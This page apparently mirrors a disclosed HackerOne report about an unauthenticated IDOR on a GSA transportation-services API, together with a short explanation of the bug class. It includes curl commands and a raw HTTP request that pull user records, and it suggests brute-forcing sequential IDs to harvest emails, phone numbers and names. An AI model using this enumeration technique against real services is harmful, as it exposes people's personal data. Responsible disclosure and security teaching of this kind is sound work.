Skip to content
IDOR Disclosed report Beginner

[Transportation Management Services Solution 2.0] Improper authorization at tmss.gsa.gov leads to data exposure of all registered users

An unauthenticated API endpoint exposed personal data of all registered users by accepting sequential user IDs. An attacker could enumerate IDs to harvest email addresses, phone numbers, full names and secret questions.

alexandrio Follow

Originally disclosed on HackerOne

Critical View original
  • Fixed in 45 hours
  • Disclosed after 7 months

Summary:

Hi team! I hope you are having a great Tuesday :)

Where: https://tmss.gsa.gov/ Who: Unathenticated users Why: Improper Access Control at /tmssserver/api/public/customerregistration/{:id}/userId/

I found an endpoint (/tmssserver/api/public/customerregistration/{:id}/userId/) at https://tmss.gsa.gov/ (Transportation Management Services Solution (TMSS) 2.0) that leads to data exposure of all registerd user at the platform, including the following data:

  • Email address
  • Phone Number
  • Full Name
  • Secret question (If set)

Steps To Reproduce:

  1. Go to https://tmss.gsa.gov/
  2. Check that you are not authenticated.
  3. Now browse to https://tmss.gsa.gov/tmssserver/api/public/customerregistration/4750/userId/ (You can replace 4750 by any other value between 0 and 4800)
  4. Or just CURL `curl "https://tmss.gsa.gov/tmssserver/api/public/customerregistration/4750/userId/" . The response includes email, Full name, and phone number of user with id 4750.
1.png
1.png From the original on HackerOne

This is how the request looks like. As you can see there is no cookie in the headers or authentication bearer.

CURL
GET /tmssserver/api/public/customerregistration/4500/userId/ HTTP/1.1
Host: tmss.gsa.gov
Connection: close
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Accept: application/json, text/plain, */*
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://tmss.preprod-acqit.helix.gsa.gov/tmss/customerregistration
Accept-Language: es-ES,es;q=0.9
dnt: 1
sec-gpc: 1

  1. As the id is incremental note that this can be easily brute-forced to leak all the user's information. https://tmss.gsa.gov/tmssserver/api/public/customerregistration/:id/userId/

  2. I was not able to submit my user ID as I don't have one until my account gets approved, but using this endpoint you can check that my data is also being leaked here.

curl "https://tmss.gsa.gov/tmssserver/api/public/customerregistration/[email protected]/emailId/"

2.png
2.png From the original on HackerOne
{"userRegisterId":192,"registrationType":"User","reportingOfficialId":1504,"agencyCode":"072","bureauCode":"00","firstName":"Alexandrio","lastName":"Wearehackerone","middleInitial":"C","title":"","addressLine1":"ThisIsMYAddress","addressLine2":"PoCAddress","city":"","stateId":null,"zip":"","zipSuffix":"","countryId":326,"phone":"6541112343","phoneExtension":"","email":"[email protected]","accessRequested":"HHG","registrationStatus":"Confirm Pending","rejectReason":null,"confirmDate":null,"createdDate":"2021-04-26T22:51:08.000+0000","updateProgram":"Customer_Registration","updateId":null,"updateDate":"2021-04-26T22:51:08.000+0000","agencyName":null,"agencyBureauName":null,"stateName":null,"countryName":null}

If you have some questions regarding this feel free to ping me! Bests, @alexandrio

Impact

Data exposure (Emails, addresses, phone numbers, full names etc) of all registered user - Unauthenticated users

The original report as published on HackerOne, by alexandrio. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the API endpoint lacked any authentication or authorization check and used predictable sequential identifiers, allowing anyone to retrieve any user's record.

Impact

An unauthenticated attacker could expose personal data (email addresses, phone numbers, full names and secret questions) of all registered users.

What the attacker needed

No authentication needed; knowledge of a numeric user ID

How it was found

  1. Open the main website.
  2. Confirm you are not logged in.
  3. Request the customer registration endpoint with a numeric user ID.
  4. Observe the response contains that user's email, full name and phone number.
  5. Change the ID to other values to retrieve more users' data.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The website had a public web address that returned a user's personal details when given a simple number. Because the numbers run in order, anyone could change the number and collect everyone's information without logging in.

What is IDOR?

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.

More from U.S. General Services Administration

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Insecure direct object reference (IDOR)

The lesson behind this report.

One user can read or change another user's data, usually by changing an identifier the server trusts without checking who is asking. One of the most paid bug classes on web programs.